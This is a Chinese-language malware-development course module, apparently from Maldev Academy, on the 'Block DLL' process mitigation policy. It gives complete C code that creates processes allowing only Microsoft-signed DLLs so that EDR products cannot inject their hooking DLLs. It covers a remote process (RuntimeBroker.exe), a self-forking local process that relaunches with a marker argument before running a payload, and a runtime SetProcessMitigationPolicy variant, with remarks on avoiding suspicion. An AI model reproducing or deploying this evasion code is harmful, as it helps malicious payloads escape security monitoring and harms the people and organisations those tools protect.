跳至主要內容

90-块 DLL 策略

Maldevacademy大约 6 分钟安全开发

简介

本模块介绍了一种技术,该技术使用特殊进程创建标志来阻止安全产品将钩子安装到本地和远程进程中。进程创建标志阻止非 Microsoft 签名的 DLL 加载到已创建的进程中,因此阻止它们安装钩子和执行其他安全缓解措施,这些措施会在运行时检测到该实现。

标记

特殊的进程创建标记为 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON,可以使用 WinAPI 的 UpdateProcThreadAttribute 在新创建的进程上设置此标记。此标记属于 Microsoft 创建的一系列其他 缓解策略,用于防止对调用进程的各种类型的攻击。这些缓解策略主要与利用相关,但也具有其他用途。缓解策略的两个示例是 数据执行保护open in new window控制流保护open in new window

UpdateProcThreadAttribute WinAPI 之前在 欺骗 PPID 模块中使用,其中使用 InitializeProcThreadAttributeList 初始化属性,然后将其添加到正在创建的进程的属性列表中。

相同的方法将用于阻止非 Microsoft 签名的 DLL,主要区别在于使用的标记是 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON

远程进程上的 Block DLL 策略

Spoofing PPID 模块中,我们回忆起有必要调用 InitializeProcThreadAttributeList 两次,第一次是为了获取要分配的属性所需的大小,第二次是为了使用正确的参数。此外,需要使用 STARTUPINFOEX 结构而不是 STARTUPINFO 来更新属性列表。

CreateProcessWithBlockDllPolicy 是一个自定义函数,它获取远程可执行文件的路径 (lpProcessPath),并创建启用了 Block DLL 策略的进程。

不幸的是,此实现只对子进程有好处,因为该实现不会启用此策略,而只会启用其派生的子进程。这意味着本地进程将保持挂钩状态,因为在创建进程时未启用阻止向 implementation.exe 进程注入非 Microsoft 签名的 DLL 的策略。

image
image

以下 CreateProcessWithBlockDllPolicy 函数创建了一个启用了 Block DLL 策略的进程。该函数接受 4 个参数:

lpProcessPath - 要创建的进程的名称。

dwProcessId - 指向接收新创建进程的 PID 的 DWORD 的指针。

hProcess - 指向接收新创建进程句柄的 HANDLE 的指针。

hThread - 指向接收新创建进程线程句柄的 HANDLE 的指针。

BOOL CreateProcessWithBlockDllPolicy(IN LPCSTR lpProcessPath, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {


	STARTUPINFOEXA        SiEx        = { 0 };
	PROCESS_INFORMATION   Pi          = { 0 };
	SIZE_T                sAttrSize   = NULL;
	PVOID                 pAttrBuf    = NULL;

	if (lpProcessPath == NULL)
		return FALSE;

	// 通过将成员值设置为 0 来清理结构
	RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// 设置结构的大小
	SiEx.StartupInfo.cb       = sizeof(STARTUPINFOEXA);
	SiEx.StartupInfo.dwFlags  = EXTENDED_STARTUPINFO_PRESENT;

//-------------------------------------------------------------------------------

	// 获取要分配的 PROC_THREAD_ATTRIBUTE_LIST 的大小
	InitializeProcThreadAttributeList(NULL, 1, NULL, &sAttrSize);
	pAttrBuf = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sAttrSize);

	// 初始化我们的列表
	if (!InitializeProcThreadAttributeList(pAttrBuf, 1, NULL, &sAttrSize)) {
		printf("[!] InitializeProcThreadAttributeList 失败,错误为:%d \n", GetLastError());
		return FALSE;
	}

	// 启用阻止非 Microsoft 签名的 DLL
	DWORD64 dwPolicy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;

	// 分配我们的属性
	if (!UpdateProcThreadAttribute(pAttrBuf, NULL, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &dwPolicy, sizeof(DWORD64), NULL, NULL)) {
		printf("[!] UpdateProcThreadAttribute 失败,错误为:%d \n", GetLastError());
		return FALSE;
	}

	SiEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)pAttrBuf;

//-------------------------------------------------------------------------------

	if (!CreateProcessA(
		NULL,
		lpProcessPath,
		NULL,
		NULL,
		FALSE,
		EXTENDED_STARTUPINFO_PRESENT,
		NULL,
		NULL,
		&SiEx.StartupInfo,
		&Pi)) {
		printf("[!] CreateProcessA 失败,错误为:%d \n", GetLastError());
		return FALSE;
	}


	*dwProcessId  = Pi.dwProcessId;
	*hProcess     = Pi.hProcess;
	*hThread      = Pi.hThread;

	// 清理
	DeleteProcThreadAttributeList(pAttrBuf);
	HeapFree(GetProcessHeap(), 0, pAttrBuf);

	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;
	else
		return FALSE;
}

在本地进程上阻止 DLL 策略

若要在本地进程上启用此策略,将使用类 Linux 的 fork 实现,本地进程使用启用了此缓解策略的自身创建另一个进程。为了防止此循环无限继续,将向进程的第二个实例传递一个参数,以指示它应停止运行 CreateProcessWithBlockDllPolicy 函数,而应执行有效负载。以下伪代码演示了将在代码中采用的逻辑。

int main (int argc, char* argv[]){
  
  if (argc == 2 && (strcmp(argv[1], STOP_ARG) == 0)) {
    // 始终启用 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
    // 例如,运行有效负载注入代码
  }
  else {
    // 未将 'STOP_ARG' 传递给进程,因此我们使用阻止 dll 策略创建本地进程的另一个副本
    // 'STOP_ARG' 参数将传递给另一个进程,使上述 if 语句有效,因此不会创建更多进程
  }
}

代码

以下函数包含预处理器代码,用于确定实现是远程还是本地启用块 DLL 策略。此外,该函数执行以下操作:

  • 如果未启用 LOCAL_BLOCKDLLPOLICY,则使用要运行的远程可执行文件的路径调用 CreateProcessWithBlockDllPolicy 函数,同时启用块 DLL 策略。

  • 如果定义了 LOCAL_BLOCKDLLPOLICY,则 if-else 语句检查是否存在 STOP_ARG 参数。如果未找到 STOP_ARG,则进程尚未启用块 DLL 策略,因此调用 CreateProcessWithBlockDllPolicy 函数使用 STOP_ARG 参数重新运行本地可执行文件。

  • 下次执行进程时,它将具有 STOP_ARG 参数,表示已启用块 DLL 策略。这将导致主函数继续执行有效负载。

// 注释以使用已启用的块 DLL 策略创建远程进程
//
#define LOCAL_BLOCKDLLPOLICY


#ifdef LOCAL_BLOCKDLLPOLICY
#define STOP_ARG "MalDevAcad"
#endif // LOCAL_BLOCKDLLPOLICY

//...

int main(int argc, char* argv[]) {

	DWORD   dwProcessId   = NULL;
	HANDLE  hProcess      = NULL,
            hThread       = NULL;

#ifdef LOCAL_BLOCKDLLPOLICY

	if (argc == 2 && (strcmp(argv[1], STOP_ARG) == 0)) {
		/*
			实际实现代码
		*/
		printf("[+] 进程现在受块 DLL 策略保护\n");

		WaitForSingleObject((HANDLE)-1, INFINITE);
	}
	else {

		printf("[!] 本地进程不受块 DLL 策略保护\n");
		
		// 获取本地进程路径 + 名称
		CHAR pcFilename[MAX_PATH * 2];
		if (!GetModuleFileNameA(NULL, &pcFilename, MAX_PATH * 2)) {
			printf("[!] GetModuleFileNameA 失败,错误:%d\n", GetLastError());
			return -1;
		}

		// 重新创建本地进程,因此我们添加进程参数
		// 'pcBuffer' = 'pcFilename' + 'STOP_ARG'

		DWORD dwBufferSize	= (DWORD)(lstrlenA(pcFilename) + lstrlenA(STOP_ARG) + 0xFF);
		CHAR* pcBuffer		= (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize);
		if (!pcBuffer)
			return FALSE;

		sprintf_s(pcBuffer, dwBufferSize, "%s %s", pcFilename, STOP_ARG);

		// 使用块 DLL 策略分叉
		if (!CreateProcessWithBlockDllPolicy(pcBuffer, &dwProcessId, &hProcess, &hThread)) {
			return -1;
		}
		
		HeapFree(GetProcessHeap(), 0, pcBuffer);

		printf("[i] 已创建 PID 为 %d 的进程\n", dwProcessId);

		
	}
#endif // LOCAL_BLOCKDLLPOLICY


#ifndef LOCAL_BLOCKDLLPOLICY
	// 如果未定义 LOCAL_BLOCKDLLPOLICY
	if (!CreateProcessWithBlockDllPolicy("C:\\Windows\\System32\\RuntimeBroker.exe", &dwProcessId, &hProcess, &hThread)) {
		return -1;
	}
	printf("[i] 已创建 PID 为 %d 的进程\n", dwProcessId);

#endif // !LOCAL_BLOCKDLLPOLICY

	return 0;

}

运行时设置阻止 DLL 策略

除了使用 CreateProcess,还有其他方法可以在本地级别激活缓解策略,例如在运行时使用带有 ProcessSignaturePolicy 标志的 SetMitigationPolicyopen in new window WinAPI。这可以在以下函数中实现。

虽然这种方法可能需要更少的精力,但需要注意的是,执行 SetProcessMitigationPolicy 可能会引起怀疑,因为它发生在 EDR 已经注入其 DLL 之后,这意味着即使在启用策略后,DLL 仍将保持注入状态。

int main() {

    // 阻止 DLL 策略被禁用

	PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY Struct = { 0 };

	Struct.MicrosoftSignedOnly = 1;

	if (!SetProcessMitigationPolicy(ProcessSignaturePolicy, &Struct, sizeof(Struct))) {
		printf("[!] SetProcessMitigationPolicy 失败,错误:%d \n", GetLastError());
	}

    // 本地进程现在启用了阻止 DLL 缓解策略 - 但挂钩仍然安装
}

结论

遗憾的是,对于文件已由 Microsoft 进行数字签名的 EDR,此方法无效,因为即使启用了阻止 DLL 策略,仍允许注入其 DLL。

演示

  • 在远程进程上启用阻止 DLL 策略。
z1
z1
  • 在本地进程上启用阻止 DLL 策略。
z2
z2